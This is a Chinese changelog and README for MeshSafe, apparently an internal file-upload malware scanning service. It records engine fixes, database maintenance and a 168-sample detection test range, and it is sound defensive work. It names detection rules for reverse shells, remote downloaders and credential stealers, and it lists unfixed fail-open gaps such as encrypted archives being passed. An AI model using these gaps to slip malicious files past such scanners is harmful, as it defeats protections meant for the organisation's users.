- **修复一(env)** — `docker-compose.yml` cron 补 `MESHSAFE_ADMIN_PASSWORD=cron-unused-placeholder`。cron 不做控制台认证,用占位值而不是复制真实口令(容器 env 会出现在 `docker inspect` 里)。实测归档 dry-run 在 cron 容器内跑通。
|
||
- **修复二(VACUUM 事务块)** — `run_vacuum()` 原来用 `engine.begin()` 包住 `VACUUM ANALYZE`,Postgres 直接 `ActiveSqlTransaction: VACUUM cannot run inside a transaction block`,即使 env 修好,VACUUM 仍会整批失败。改为 `engine.connect().execution_options(isolation_level="AUTOCOMMIT")`;实测 6 张表 VACUUM ANALYZE 共 0.25s 全部完成。
|
||
- **修复三(日志泄密)** — pydantic 的 `ValidationError` 会把整个 settings dict 打进 stderr,而 `run()` 原样逐行 `log.warning`,等于把 **DB 连接串(含口令)与 `MESHSAFE_MASTER_KEY` 尾部**明文写进 cron 日志。新增 `_redact()` 按 env 值替换为 `***`(覆盖 `MESHSAFE_DB_URL/MASTER_KEY/ADMIN_PASSWORD/API_KEY/API_CLIENTS`),实测两类密钥串都不再出现在输出里。
|
||
|
||
**ClamAV 签名库"过期":机制、阈值与一个真实缺口。**
|
||
|
||
- **"过期"不是失效** — .cvd 库不会到期停用,clamd 照样拿它扫描,结论照常产出。所谓过期只是**新鲜度告警**,两处阈值:引擎 `health()` 里 `signature_days_old > 7` → `status=degraded`(`app/engines/clamav.py:111`,硬编码),诊断规则 R002 用 `config/diagnostics.yaml:47` 的 `clamav_db_stale_days: 7` 出 WARN;控制台签名库面板显示"已 N 天"(`dashboard.html:408`)。当前库 `ClamAV 1.5.4/28166/Tue Oct 27 14:24:12 2026`,今天 6 天,**11-04 起变 8 天开始告警**。
|
||
- **内网的更新方式只有离线导入** — `scripts/init_clamav.sh` 仅在库为空时试一次 `freshclam`,失败即静默降级;光闸环境里它注定失败。可用路径:外网下载 `main.cvd`/`daily.cvd`/`bytecode.cvd` → 摆渡进内网 → 控制台「📤 上传签名库」(`app/console.py:1487`,落 `/var/lib/clamav` 后给 clamd 发 SIGHUP 立即热加载,无需重启容器)。官方 daily 库每天发布,按周导入即可把库龄压在 7 天内。
|
||
- **缺口(未修,需先定运维周期)** — 库龄只影响展示与诊断告警,`decide()` 完全不看 `signature_days_old`:签名库 30 天没更新时 L1 事实上认不出新病毒,文件照样可能是 `clean/pass`。这与"不可扫描内容不得放行"的口径不一致,同类先例是 `ClamAVSkippedSizeLimit`(clamd 超大小限制没查过 → 补 medium/30 进复核)。建议补 `ClamAVSignatureStale`(medium/30),阈值取**真实摆渡周期 + 缓冲**(按周导入填 10~14 天),不要直接填 7——那会让每次告警窗口把全量文件推进人工复核。
|
||
|
||
**遗留项(已确认,未在本轮处理):**- `scripts/init_db.py:71` 用 `scalar_one_or_none()` 取最新策略版本,表内多于 1 行即抛 `MultipleResultsFound` → compose 注释里的"YAML 灌库"步骤在已有环境上跑不通;本轮改用 `PolicyStore.save_from_dict()` 灌库(注意 `/api/v1/policies/reload` 只刷新收到请求的那一个 worker,`UVICORN_WORKERS=8` 下仍需重启才全量生效;另外 `docker compose restart api` **不会**换用刚构建的新镜像,改了 `app/` 必须 `docker compose up -d api` 重建容器)。
|
||
- **`allow_encrypted_archive: false` 实际未生效** — `scanner.py:391` 只在 document 引擎报 `PdfEncrypted`/`OfficeEncrypted` 时置 `encrypted=True`,压缩包侧的 `EncryptedArchive` 不触发这条策略,于是策略明令禁止的加密压缩包仍以 20 分放行(`L0-024_encrypted.zip` → pass_with_flag)。补一行即可生效,但会把所有加密包从"复核"改成"拒绝",涉及真实业务流量,需先定口径。
|
||
- **`ExtractMemberFailed` 权重 0** — 成员解压失败零成本,与上面同一类 fail-open。
|
||
- **纯启发式签名单条即拒** — `Win.Heur.*`、`Win.Packed.*`、`Win.Trojan.GenericKD-*` 这类 ClamAV 启发式命中现在分别是 70/95 分,等于"AV 一家之言直接拦截",与"干净可执行文件只进人工复核"的口径不完全一致(启发式是 AV 误报集中区)。降档需要先有内网真实误报样本做标定,否则会把真木马放到复核队列里;本轮保持拒绝。
|
||
- **深扫成员后的耗时** — 解包递归真正生效后:PPTX(61 个对象)5.3s、8MB DLL 2.3s、zip 炸弹样本 10.7s;扫描循环上限 2000 个对象,理论上大压缩包可在同步请求里跑到分钟级,而 `sync_max_size` 现值 512MB 基本等于全部走同步。建议按实测流量把同步阈值下调(例如 20MB)或给对象数配一个更低的上限。
|
||
- **35 条零独立贡献规则暂不退役** — 单条退役在这 3,661 条上零影响,但它们是同族互为备份(整族一起退役会让 258 条 reject 降级),退役单位是"族"不是"条";而且本语料 97.9% 是控制台上传样本、真实摆渡通道只有 75 条、ClamAV 只在 81 条上命中,样本偏斜不足以证明这些规则在真实恶意样本上也没用。等内网积累到足量真实流量再按簇退役。
|
||
|
||
### v0.2.3 (2026-10-29)
|
||
|
||
**Bug 修复:**
|
||
|
||
- **Policy 加载失败(每次启动都回退 YAML)** — `policy.py _load_db_or_yaml()` 用 `scalar_one_or_none()` 加载最新策略版本,但 `policy_versions` 表有多条历史版本 → SQLAlchemy 抛 `Multiple rows` → 永远回退 YAML 配置文件,导致不同重启间规则数波动。修复为 `db.query(PolicyVersion).order_by(created_at.desc()).first()`,直接取最新一条 ORM 对象
|
||
- **控制台任务历史被内部测试记录淹没** — `scan_tasks` 表累积 5,800+ 条内部对账/诊断脚本产生的测试数据(channel 包括 `test_center` / `v` / `verify` / `diag` / `debug` / `final` 等 19 个),dashboard 和 tasks_page 无过滤全部展示。修复:① DB 清理所有内部 channel 记录(保留 3,488 条生产数据);② console.py 加 `INTERNAL_TEST_CHANNELS` 黑名单常量,dashboard 6 个查询 + tasks_page 2 个查询全部 `.filter(ScanTask.channel.notin_(...))`
|
||
- **测试靶场显示 "未知" 层和 "—" 编号** — 控制台用 `iterdir()` 遍历目录收集样本,但目录里混入 4 个 YARA 调试时的临时文件(`L4-005_hotreload.txt` 等),index.json 没登记 → category 取不到显示 "未知"。修复:① 清理 4 个临时文件;② `test_center_page` 改为只从 index.json 收集样本(目录遍历替换为 index.json 遍历),以后不会再出这个问题
|
||
|
||
**DB 与运维增强:**
|
||
|
||
- **ScanTask 复合索引** — 新增 `ix_scan_tasks_channel_created ON (channel, created_at DESC)`,解决 dashboard/tasks_page 高频查询的全表扫描。models.py `ScanTask.__table_args__` 也同步更新,新建实例会自动带上
|
||
- **归档表 + 归档脚本** — 建 `scan_tasks_archive` 表(含 4 个索引);新增 `scripts/archive_old_tasks.py` 支持 4 项清理策略:
|
||
- scan_tasks **90 天前**:清 detail JSONB(每条 1-5 KB,省空间)
|
||
- scan_tasks **365 天前**:移到 scan_tasks_archive 归档表(CASCADE 删 ScanFinding)
|
||
- idempotency_records:清 **7 天前**(幂等缓存过期可以重扫)
|
||
- policy_versions:只留**最新 5 个**(历史版本无保留价值)
|
||
- 支持 `--dry-run`(默认,只报告不动数据)+ `--apply`(真正执行),分批 1,000 条处理避免长事务锁表
|
||
- **自动定时任务 Cron 服务** — docker-compose.yml 新增 `cron` 服务(共享 meshsafe:latest 镜像,零额外依赖,`restart: unless-stopped`),`scripts/cron_entrypoint.py` 纯 Python 调度器:
|
||
- **每天 03:00** 跑 archive_old_tasks.py --apply
|
||
- **每周一 03:10** VACUUM ANALYZE 5 张表(维护表统计信息,加速查询)
|
||
|
||
**数据增长实况:**
|
||
|
||
| 指标 | 值 |
|
||
|------|---|
|
||
| scan_tasks 当前 | 3,660 行 / 4.5 MB |
|
||
| 日均新增 | ~523 条 |
|
||
| 年增长 | ~19 万条 ≈ 910 MB |
|
||
| 归档策略 | 90 天清 detail / 365 天归档 / 幂等 7 天 TTL / policy 留 5 |
|
||
|
||
### v0.2.2 (2026-10-29)
|
||
|
||
**引擎能力补全 — 测试靶场 168/168 100% 通过:**
|
||
|
||
- **双扩展名伪装检测重写** — `_has_double_ext()` 从 SUSPICIOUS_DOUBLE_EXT 白名单(容易漏 .js/.wsf/.vbe/.jar 等脚本伪装)改为 DANGEROUS_EXTS 黑名单作为单一事实源,覆盖 `.docx.js` / `.pdf.exe` / `.jpg.ps1` 等所有组合
|
||
- **跨行关键词预处理** — `KeywordEngine.scan()` 匹配前把 `\r\n` / `\r` / `\n` 全部替换为空串,解决 `Invoke-Web\r\nRequest` 被 CRLF 打断导致 regex 漏匹配的问题
|
||
- **ZIP 尾部 garbage 检测** — 新增 `_check_zip_trailing_garbage()`,在 EOCD (PK\x05\x06) 之后搜索冗余字节,识别假损坏 / 被篡改的 ZIP(Python zipfile 能正常打开但结构异常)
|
||
- **内嵌 EICAR 字节检测** — 新增 `_check_embedded_eicar()` 作为 ClamAV 的补充(ClamAV Eicar-Test-Signature 只匹配精确 68B 纯 EICAR,任何嵌入大文件都会漏),对文本/代码文件扫描前 1MB
|
||
- **pefile 失败时手工 PE 分析** — 新增 `_manual_pe_analysis()` fallback,在 pefile 报 `Invalid NT Headers` 等格式错误时,手工搜索 PE\0\0 签名并解析节表 Characteristics,检测 RWX 可写可执行危险节(覆盖假 PE / e_lfanew 偏移被篡改的伪装样本)
|
||
- **假损坏 zip / 伪装 PE / 跨行关键词** 等场景全部落地真实检测逻辑,对账 Fail 从 11 条降到 0 条
|
||
|
||
**策略与权重调优:**
|
||
|
||
- ClamAV `Eicar-Test-Signature` 默认权重 55 → 85(Severity.CRITICAL),EICAR 单独 90 分
|
||
- `policy.yaml zero_tolerance_rules` 追加 7 条:EICAR + RemoteDownloadUnix/PowerShell + ReverseShellNetcat/Powershell + CredentialStealer/Export
|
||
- 零容忍规则匹配逻辑:步骤 -1 白名单过滤 → 步骤 0 零容忍拦截 → 步骤 1 评分加权 → 步骤 2 rule_override
|
||
|
||
**API 响应彻底精简:**
|
||
|
||
- `to_response()` 重写:砍掉内部权重、严重度、引擎层、策略链等实现细节
|
||
- 对外只暴露 7 个顶层字段:`task_id / action / reason / status / file(精简5字段) / meta(精简2字段)`
|
||
- `action` 收敛为 3 + pending:`pass / manual_review / reject / pending`,调用方拿了就用,无需二次分析
|
||
- `findings / open_risk / score / verdict / triggered / extracted / meta.engines / meta.clamav / meta.policy_*` 等全部不对外暴露
|
||
- 服务端控制台、审计日志、DB 记录仍完整保留所有 detail
|
||
|
||
**测试靶场对齐:**
|
||
|
||
- 168 条样本对账:从 11 Fail → 0 Fail,通过率 100%
|
||
- 补齐 6 个缺失/占位样本文件:L4-005 / L4-010 / L1-014 / L4-007 / L4-008 / L4-013
|
||
- L4-008 in_zip.zip 重建为 ZIP_STORED 不压缩模式(让 YARA 扫 zip 本体能命中内部 payload 明文)
|
||
- index.json 全量重写 expected_verdict,按三段式 tier(tier0=安全 / tier1=可疑 / tier2=危险)对齐 CSV 原始预期
|
||
|
||
### v0.2.1 (2026-10-28)
|
||
|
||
**并发与稳定性核心修复:**
|
||
|
||
- **诊断定时器分布式锁** — 多 worker 部署时,每个时间槽位只有一个 worker 执行,Redis 时间槽位设计(`key=<timer>:<int(time()//interval)> + SET NX + EX`),无主动释放,下一槽位自然放行
|
||
- **JSONL 存储跨进程文件锁** — `fcntl.flock` 排他锁 + `errors="replace"` 容错解码 + 临时文件 + `os.replace` 原子重写,彻底根除多 worker 并发写导致的 UnicodeDecodeError 和数据膨胀
|
||
- **移除 SQLite fallback** — 统一 PostgreSQL 作为唯一数据库后端
|
||
- **API_CLIENTS 脱敏** — `docker-compose.yml` 中硬编码的 MASTER_KEY 改为环境变量 `${MESHSAFE_API_CLIENTS:-test-client:test-secret}`,真实密钥移入 `.env`(已 `.gitignore`)
|
||
- **Docker 网络固定网段移除** — 删掉 `subnet: 172.28.0.0/16` + `ipam`,IP 由 Docker 自动分配
|
||
|
||
**产品与文档:**
|
||
|
||
- 新增 `/console/about` 产品介绍页(Hero + 痛点叙事 + 4 大卡片 + 6 层检测管线 + 架构 3 小卡)
|
||
- 新增 `deploy/OPERATIONS.md` 运维部署指南
|
||
- `.gitignore` 补 `/data/`、`benchmark_report*.json`、`out.json`、`/.screenshots/`
|
||
|
||
### v0.2.0 (2026-10-27)
|
||
|
||
- v1.0 初始架构落地:FastAPI + PostgreSQL + Redis + Docker Compose
|
||
- 6 层检测管线(L0-L5)、零容忍规则集、客户端 HMAC-SHA256 签名鉴权
|
||
- 控制台 UI:登录 / Dashboard / 诊断中心 / 策略管理 / 任务列表 / 测试中心
|
||
|
||
---
|
||
|
||
## 测试靶场
|
||
|
||
168 条样本对账 **100% 通过** ✅(v0.2.2 达成)
|
||
|
||
| 指标 | 数值 |
|
||
|------|------|
|
||
| 总样本数 | 168 |
|
||
| 引擎能力覆盖 | **100%** |
|
||
| 对账 Fail | **0** |
|
||
| 通过 commit | `a372ee5` 补齐样本 + `5c77678` 引擎补全 |
|
||
|
||
### 靶场样本分层
|
||
|
||
| 层级 | 含义 | 样本数 | 典型覆盖 |
|
||
|------|------|--------|---------|
|
||
| L0 | 文件结构层 | ~50 | 扩展名伪装、双扩展名、archive 异常、路径穿越 |
|
||
| L1 | 引擎层 | ~30 | ClamAV、文件类型识别、大文件、并发 |
|
||
| L2 | 可执行程序分析 | ~10 | PE 结构、导入表、签名、节属性 |
|
||
| L3 | 关键词与行为模式 | ~15 | 下载器、反弹 shell、注册表、凭据窃取 |
|
||
| L4 | YARA 规则匹配 | ~15 | 字符串匹配、正则、meta 标签、zip 内嵌套 |
|
||
| L5 | 高级伪装对抗 | ~10 | 假 PE、高熵加壳、多段 shellcode |
|
||
| NEG | 合法文件阴性对照 | ~30 | 正常 JPG/PNG/PDF/DOCX/ZIP |
|
||
|
||
### 白名单机制
|
||
|
||
- **关键词白名单** (`policy.yaml → keyword_whitelist`):规则命中后若 detail 包含内网 IP/域名,自动放行
|
||
- **YARA 哈希白名单** (`policy.yaml → yara_hash_whitelist`):YARA 命中后 MD5 在白名单 → 跳过告警
|
||
- 生产部署时按需补充内网地址段 / 已知安全工具哈希
|
||
|
||
### 靶场样本生成脚本
|
||
|
||
| 脚本 | 用途 |
|
||
|------|------|
|
||
| `scripts/generate_csv_samples.py` | 从 CSV 批量生成 CSV 对齐样本 + index.json |
|
||
| `scripts/generate_yara_rules.py` | 自动生成 CSV L4 段对应的 YARA `.yar` 规则 |
|
||
| `rules/test_rules.yar` | 生成的规则文件(引擎按 mtime 自动热加载) |
|
||
|
||
### 对账口径(三段式 tier)
|
||
|
||
| 预期 verdict | 实际 verdict 要求 | 说明 |
|
||
|-------------|-------------------|------|
|
||
| tier0(clean / pass) | 实际 tier ≤ 1 | 只能 pass 或 suspicious,不能 reject |
|
||
| tier1(suspicious / review) | 实际 tier ≥ 1 | suspicious 或 malicious 都算通过 |
|
||
| tier2(reject / malicious / error) | 实际 tier = 2 | 必须 malicious / reject / error |
|
||
|
||
---
|
||
|
||
*更多技术细节请参阅 [总体方案](docs/00-总体方案.md) 和 [接口文档](docs/接口文档.md)*
|